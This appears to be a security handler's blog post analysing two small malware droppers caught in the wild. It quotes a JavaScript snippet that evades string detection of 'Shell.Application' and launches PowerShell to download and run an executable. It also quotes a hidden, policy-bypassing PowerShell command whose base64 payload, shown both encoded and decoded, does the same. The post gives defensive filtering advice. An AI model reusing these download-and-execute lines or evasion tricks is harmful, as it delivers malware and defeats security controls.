Sometimes you may find very small pieces of malicious code. Yesterday, I caught this very small Javascript sample with only 2 lines of code:

var d=new ActiveXObject(‘Shell.NormandApplication’.replace(‘Normand’, ‘’));
d.ShellExecute(“PowerShell”,”((New-Object System.Net.WebClient).DownloadFile(‘http://[redacted].exe', ‘xwing.pif’);Start-Process ‘xwing.pif’”,””,””,0);

There is no real obfuscation here, just a trick to avoid the detection of the string ‘Shell.Application’ which often searched by automated tools…

Sometimes, there is no need to implement complex code to bypass detection. A good example comes with PowerShell which has the following cool feature: EncodedCommand[1].

Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces.

Here is a sample that I also detected yesterday (the lines have been truncated for the readability):

poWERShElL.Exe -ExECutioNPolicy bYpAsS -NOPrOFiLe -WindOwsTyLe HiddEN -enCodEdCoMMANd \
IAAoAG4ARQB3AC0AbwBiAGoAZQBjAFQAIABTAHkAUwBUAGUAbQAuAE4AZQB0AC4AVwBFAGIAQwBsAG\
kARQBOAHQAKQAuAEQAbwB3AE4ATABvAGEARABGAEkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBh\
AHIAaQBoAGEAbgB0AHQAcgBhAGQAZQByAHMAbgBnAHAALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AUw\
BjAGEAbgBfADIALgBlAHgAZQAdICAALAAgAB0gJABlAG4AdgA6AFQARQBtAFAAXABvAHUAdABwAHUA\
dAAuAGUAeABlAB0gIAApACAAOwAgAGkAbgBWAG8AawBFAC0ARQB4AFAAUgBlAHMAUwBJAG8ATgAgAB\
0gJABFAE4AdgA6AHQARQBNAFAAXABvAHUAdABwAHUAdAAuAGUAeABlAB0g

The decoded Base64 string is:

(nEw-objecT SySTem.Net.WEbCliENt).DowNLoaDFIlE(  https://[redacted]/images/Scan_2.exe  ,  $env:TEmP\output.exe  ) ; inVokE-ExPResSIoN  $ENv:tEMP\output.exe

Nothing fancy, easy to decode but this trick will bypass most of the default security controls. A good idea is to fine tune your regular expressions and filters to catch the "-encodedcommand" string (and ignore the case).

Note that the PE file is downloaded via HTTPS!

[1] https://blogs.msdn.microsoft.com/timid/2014/03/26/powershell-encodedcommand-and-round-trips/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key